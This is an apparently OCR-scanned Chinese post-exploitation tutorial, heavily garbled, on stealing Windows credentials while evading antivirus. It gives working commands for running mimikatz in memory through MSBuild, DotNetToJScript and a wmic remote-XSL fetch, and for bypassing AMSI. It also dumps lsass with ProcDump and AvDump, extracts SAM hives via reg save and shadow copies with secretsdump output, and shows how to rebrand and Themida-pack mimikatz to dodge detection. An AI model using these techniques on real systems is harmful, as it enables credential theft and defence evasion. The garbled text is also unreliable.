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HRANNMZ M50 R, BFEEIMBWIEEKS, HASH &, BEEEARLDIER M

FERR, BREWIERN MRS2EE—NEHM T 7 &ER mimikatz,

2020-11-26 10:34:02 mEAF ST AT S EIFESEHackTool/Mikatz.f, B4kE
2020-11-26 10:34:02 mEAF SCI AT S EIFEHackTool/Mikatz.c, E4kE
2020-11-26 10:34:02 mEAF ST EERT SRS EFESEHackTool/Mikatz.c, 24hE
2020-11-26 10:34:02 mElR SO SRR s EIESEHackTool/Mikatz.f, 24kE
2020-11-26 10:34:02 mElR SO SRR s EFEEHackTool/Mikatz.c, B4hE

EAE#E: Di\program\#fE 5.9.7.10890 L&k xB6x64\HaoZip.exe

SRR C\Users\tOuma\Downloads\Compressed\mimikatz_trunk\x64\mimikatz.exe
s HackTool/Mikatz.f

fm=ID: EACB6812F76E7CF2

BESR: 28

>

HIEES 2N EEIEL HASH, &I AR A EIEMEE T,
Net4.0 #117iEEY
& xml &

https://raw.githubusercontent.com/3gstudent/msbuild—inline—

task/master/executes%20mimikatz.xml
H Net4.0 B, #17BDH],

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe 1.xml




PS C:\Windows\Microsoft.NET\Frameworkb4\v4.0.30319> .\MSBuild.exe 1.xml
Microsoft(R) 4 g5 24 4.8.3752.0

[Microsoft .NET Framework PzZ= 4.0.30319.42000]

HHALETE (C) Microsoft Corporation. {RE & FLF.

g ehEtEll 2020/12/11 14:45:25.,
Preferred Load Address = 140000000
Allocated Space For 63000 at 1CEBEDAOOOO
Section .text , Copied To 1CEBEDA1000
Section .rdata Copied To 1CEBEDCEQOQ
Section .data Copied To 1CEBEDF/000
Section .pdata Copied To 1CEBEDFBOO0O
Section .rsrc Copied To 1CEBEDFDOO0O
Section .reloc , Copied To 1CEBEE01000
Delta = 1CD/EDA00OOD

Loaded ADVAPI32.d11

Loaded CRYPT32.d11

Loaded cryptdll.dl1]

Loaded NETAPI32.d11

Loaded NTDSAPI.d11

Loaded RPCRT4.d1]1

Loaded SHLWAPI.d11

Loaded SAMLIB.d1]

Loaded Secur32.dl]

Loaded SHELL32.d11

Loaded USER32.d11

Loaded ntd11.d11

Loaded KERNEL32.d11

Loaded msvcrt.dl]

Executing Mimikatz
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]
H
]

JH##E. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
BN #E
SO\ B xR ‘ ‘
# \ / ## Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
"## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.eo)
"R with 16 modules * * */

JS &
cscript mimikatz. js

EEAEH—LeBURNT AV IRB!, FATAT AN E#4T bypass, #@1T DLL ##F50d, &UAE
ProcessMonitor A IABZIHAHZ A C:\Windows\System32\amsi.dll



wscnpt exe 2836 = QueryBasicinformatio

wscript exe 5836 :'_l CloseFile

wscnpt exe 2836 :f_l‘-'.‘.rea:ef e

wscrpl exe 5836 _—l_ CrealeFileMapping
wscrnpt exe 2836 —_l reatebileMapping
wscnpt.exe 5836 agy Load Image

wscript exe 5836 ‘__-1. CloseFile

wscnpt exe o836 3 QueryNamelnformatio

BATEZNE DLL £#5817],

copy c:\windows\system32\cscript amsi.dll
asmi.dll 11.7js

C
C
C
C

Windows\System32\amsi dil
Windows\System32lamsi dil
Windows\SystemJ32\amsi dil
Windows\System32\amsi.dil
Windows\System32iamsi dil

AWindows\System32\amsi.dil
> \Windows\System32\amsi dil
> \Windows\System32\amsi dil




Benjamin
http
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OO AL mimikatz B9 js hRAS, PIDAZZEE FNENT A,
https://gist.github.com/pljoel/42daebe56a86a43612beab961cb59d1a

INSTRUCTIONS:

1. Grab the latest release of mimikatz: https://github.com/gentilkiwi/mimikatz/releases

2. a) Uncomment the building lines from Casey's project in Delivery.Program.Main() (You may want to comment the Exec() line though)
b) It is geing to produce a file.b64, so copy it's content and replace Delivery.Package.file string by it
c) Comment back the lines helping to make file.bg4

d) In order to help DotNetTolscript add the following lines to the end of katz.cs:

public class TestClass

r
L

public TestClass()
{
/* Start katz */

Delivery.Program.Main();

e) Make an .exe :

/r:System.I0.Compression.dll funsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v4.8.383

\csc.exe fr:System.EnterpriseServices.dll
3. a) Build DotMetTolScript project. Note: You don't need to build °"ExampleAssembly' project
b) Create mimikatz.js using DotNetTolScript you just built and katz.exe you built on step 2:

C:\< path to DotNetTolScript »>\DotNetTolScript.exe -o mimikatz.js -ver auto C:\< path to katz »\katz.exe

4. Launch mimikatz in-memory using javascript:

cscript.exe .\mimikatz. J1s

X2 csc £/ T baseb4 INEMIARAS, BAFER javascript BaiRFHRI mimikatz,
wmic 1A

b wmic process list /FORMAT:evil.xsl

o
= 3E 3k Tk ¥t -
=3 F

#
#
#
#
:

" 17 pedkdl




command of “ztandard” module not found !

cription : COTmE ldoes not require module name)

Az
wmic os get /FORMAT:"https://example.com/evil.xsl"

et /FORMAT: “http:/ /0]

"Kiwi en C” (Now

mingentilkis

vith 17 modules

) # o

z_doLocal ; “o0s” command of “standard” module not found !

ard
ard mocdule _
commands (does not require module name)

Internal Monologue Attack
https://github.com/eladshamir/Internal-Monologue

N2 BT SSPI AR NTLM BAAKNE, @I hEEBINE X challenge RN
NetNTLMv1, 3EEVE] NetNTLMv1 hash, i NetNTLMv1 hash 7] LAsE i (8] N {E BB BT = A1
7,

XAE A ATE AR LSASS 1B MU NTLM 545, A BUREEm T Mimikatz SR
W, ENNEEOZRIPIEREACEIMNSRIPIHEIZPEEMEANT. BT NetNTLMVI
MNLE BT EARS NTLMSSP #1728 M5 &89, AATEMRNERE, HEMMAEN
B AR HER, AN NTLM BHIIESHCRAEHR

FETFEGG NTLM WHE BB X R

https://www.optiv.com/explore—optiv-insights/blog/post—-exploitation—using—netntim—

downgrade—attacks



\InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -
Challenge 1122334455667788

PINE I BTN HASH (.,

Bypass

O RPBLSEER XL RIE, FANTIURIL DA REEESS, 58 LASS, BRI
1, HIYEFHY Bypassmimikazi 55,

Procdump

ProcDump v10.0

2020/09/17 = 6 54Ol E5E - E® i
By Mark Russinovich and Andrew Richards

Published: 09/17/2020

37 Download ProcDump (659 KB)

Download ProcDump for Linux (GitHub)

Introduction

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and
generating crash dumps during a spike that an administrator or developer can use to determine the cause of the
spike. ProcDump also includes hung window monitoring (using the same definition of a window hang that
Windows and Task Manager use), unhandled exception monitoring and can generate dumps based on the values
of system performance counters. It also can serve as a general process dump utility that you can embed in other

scripts.

EANA: ProcDump 2— M aTXLARER, EXFEZENEhINAIZRFH CPU LIEH
ToolEHR 8] AR AR AR E, BIERSTERARAMMERAERBERIERE., ProcDump A8
BEENEORD, REBOEERI, FETUETFTRASMEEITERNEEREE. BN

ﬂL\/{ﬁHTﬁE%ﬂiﬁﬁ%ﬁ%?&ﬁﬁﬁﬁo

D

RREEFNR Procdump, T ERHIE HINER, FILARIEE®RII E bypass FLEANEA
FERYRERE dump 1 lass 1ZAERYZARD,



EEEEE0G

E |Micr::|sc|ft Corporation
EFEE )=
SHEE |znzu£ﬁgﬁ1aE| 0:19:38

i=r=pll 1Y

PATEN R Er <

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

. '_'.p-ni oodump. exe

it I;I P-I ."u_ Pr Izl [ |211_3|JT|.]_Z| ::

dump utility
1ch and Andrew Eichards

rzhtest!
Dump 1 writir ztimated dump file
Dump 1 complete: 54 MB written in O
count reached.

AN L EEE mimikazi #TEIBRRINEER




:logonPasswords full
'’ file for md 1l dumg.

G4111-1000

* Domain

* I]TLH

: DESETOP-VEMP2EG
(all)

Avdump

Avdump.exe fB7E Avast HomeSecurity ™ @mEMH—RIEMI/NT A, MBENY, ZLAEF
AT REMRNAGRGERIBEPIEENUE. T LETEHRTHA dump AU
.



ESHA  Eatl I ESSfEEE

TZE v Befh B v B v o BiE

TxRBERINES KRR
SEXBHNE—F

XS, BPABSBNERASTE, Rt y2Rk ERH AR
N EERIRR R 2R RS .

o= EmemEPTE ‘

fgrcrm - Wirm LIRS 0°FER

o IS

TE® Avast AT HEE,

Signer information

Mame: Imast Software s.r.o.
E-mail: INnt available
Signing time: |Frida1,r, November 6, 2020 4:48:01 AM

View Certificate

HAEZIz1TEI A,

N\AvDump.exe --pid 696 --exception_ptr @ --dump_level 1 --thread_id @--min_interval @ --



dump_file e:\tmp\last.dmp

AN EEE mimikazi W TREHNEIIEE.

mimikatz # sekurlsa::minidumg last. dmp

Switch to MINIDUMP : 'last. dmp’

swords full
file for minidump...

Authentication Id @ O ; L 0002 01

Do |1T11111
Logon Server
Logon Time

SID : 09115388 746226910-3726494111-1000

" TOP-VEMP2EG

OP-VENPZEG

SAM fE%8

B—LT5/) EDR, 22 Procdump. Minidump £ 50N Isass #HE, Fefi1n] AR —F
5.

SAM ERZ=IKFEEZE. BTEMEA/A hash, p] ARSI MANLIER -,

LR, hash, FATEEFFENZI SAM SYSTEM SECURITY X =", REAIX 3 PNt
BA TR BE A TIZEN,



EMREE

REG SAVE RHaERFIn. THDIMRENBISFEFZENEEXHR, BERFRENTE T,
save hklm\system SYSTEM

reg save hklm\sam SAM
reg save hklm\security SECURITY

: hklmbsystem SYSTEN

e hklmhsecurity SECURITY

s hkklmbsam SAN

2=k
BT N EF R AE PRI SUERIZEY 3 Pt
FoelliE ¢ £/ shadowscopy

wmic shadowcopy call create volume='c: \'

¥ call create volume= c: Y

ia
L,

5l shadows B9 list, MAIFHIZESREIAS, BERIBNBEN=TXF.

vssadmin list shadows
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\sam.
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\security.
copy\\?\GLOBALROOT\Dev1ice\HarddiskVolumeShadowCopy4\Windows\system32\config\system.



fzZmE HASH

BY FEAMAEZES 3 XX E, BATR impacket-secretsdump SRIETTHRER .,
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
FB13280 HASH B1AREENA,

# impacket-sec rats:lump -sam SAM -security SECURITY -system SYSTEM LOCAL
lmpa(_ket ue 9.20 - Copyright 2019 SecureAuth Corporation

[#] Target system bootKey: @=3c9@7e12d377bbaadé1662d063bdales

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3bi35b51404ee:31d6cfe@d162e931b73c59d7e0c@89cO :::
Guest:501:aad3ba35b51404eeaad3bs35b51404ee:31d6cFfedd16ae931b73c59d7eDCOBICO 12
DefaultAccount :503:aad3b4s35b51404eeaad3bs35b514D4ee : 31d6cfedd16ae931b73c59d7eDc0BICO :
WDAGUTilityAccount:504:aad3b435b51404ecaad3bi35h51404ee:20210dbd31a0be32cBFOdT72964098496 :::
test:1000:aad3bs35b51404eeaad3be35b51404ee: 0ch6948805f797bf2a82807973089537 112

[*] Dumping cached domain logon information (domain/username:hash)

[*#] Dumping LSA Secrets

[+] DPAPI_SYSTEM

dpapi_machinekey:@=65cc7bda3b3934a3359f6babd639ec29751ef989
dpapi_userkey:@=35fee2c@726casdblbelaBie?fa2cf78800025bec

[#] NLSKM

o009 EF 66 E7 95 5B @E @C 29 77 E3 91 89 B5 94 32 @5

2019 BF E9 CB ©C FF A9 B6 CD B8F 14 EE 2A A9 31 B0 &4A

2029 74 2D AD 50 04 42 OC AA CB D1 @5 89 79 27 F5 4B

0030 98 B9 CB 5D 12 @E CC 32 9E 22 BB 9E 98 E7 3A 85

NL$KM: ef66e7955b0e0c2977239189b59432058fe9cbOcffadbbcdBflie

[*] RasDialParams!S-1-5-21-2115388984-3746226910-37864946111-

o009 32 90 37 90 32 @0 37 99 36 00 35 00 @9 00 31 @0

2019 36 90 30 90 38 @0 90 20 36 00 31 00 00 00 00 00

2020 00 20 75 90 73 00 65 @0 72 00 GE 00 61 00 6D 00

2030 65 90 @0 90 00 90 00 P20 31 @0 @0 00 00 @0
RasDialParams'!S-1-5-21-2115388984-3746226910-3786494111- 1900!0 110831'?03 9037003600350000003100360030003800000036003100000000000000750073006500720062006100
6d006500000000000000310000000000

[#] Cleaning up ...




mimikatz $3

BRItE 2 SN BT LAST MIMIKAZT #HT B 320 0IE,

— RIS EERIBRCIDE MIMIKATZ 554E, BRAZDR, W ICO B, Bk bin BAZA.
RERETRER (%), mEEREE,

B MIEREURE / BeEAR ico

Find and Replace

Find in Files Replace in Files

mimikatz

t0u md

Match case
|:| Match whole word
|:| Use regular expressions

Look in Entire solution

|:|Ir"u_lud external items

H Include miscellanegus files

kprintf(L"\n

tBuma_initOrClean(TRUE);




B2 re HH1IE,

BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904b0O"
BEGIN
VALUE "Product
VALUE "ProductVs
VALUE "CompanvyNar
VALUE "
VALUE "
VALUE "
VALUE "LegalCor
VALUE "Oricgina
VALUE "PrivateB
VALUE "Specis
END

{

END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", '
END
END

R Hex B —LE80/= DLL, BR#A wdigest.dll, isbase64interceptinput S5 #1178

, L"KiwiAndRegistryTools

BHREVRRY bin XHRTTAEEMARFE /Y dil 5%

netapi32

Dump of file netapi32.min.lib
File Type: LIBRARY
Exports

ordinal name

srAuthenticate?
Challenge




I NetServer

ustPasswordsGet

5 netapi32.dll S

=}

Creating libr

File Type: LIB

Exports

ordinal

BEER themdia IIEEH

' HINE not
ry tBuma.lib and object t@uma.exp

Dump of file netapi3l

nainNam

ights reserved.

cified; defaulting to X64

2.min.1lib

name

verfuthenticate?

I:HEtSEIJEFHEthallEHEE

I_

letServerTrustPasswordsGet

.def /JOUT:tBuma.lib




¥ Themida

ADVANCED WINDOWS SOFTWARE PROTECTION

Compressing SecureEngine

*** File successfully protected ***

RINIEITITIRE

= o

Windows E£04
FAREIEIR

o) miEaE

¥

B chE N SRR

O =sa@
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PFEAENRRE, FBEEEBEEA, MBBENHRES

https://www.archcloudlabs.com/projects/dumping—memory—with—av/

https://blog.xpnsec.com/exploring—mimikatz—part-2/

https://www.optiv.com/explore—optiv-insights/blog/post—exploitation—using—netntim-—

downgrade—attacks

https://www.tiraniddo.dev/2018/06/disabling—amsi-in—jscript—with—one.html

https://3gstudent.github.io/3gstudent.github.io/ %E5%88%A9%E7%94%A8JS%ES % 8A
%A0%E8%BD%BD.Net%E7%A8%8B%ES%BAY%8F/

https://evilcg.me/archives/AMSI_bypass.html

https://blog.csdn.net/wxh0000mm/article/details/105842889

https://www.secpulse.com/archives/71380.html



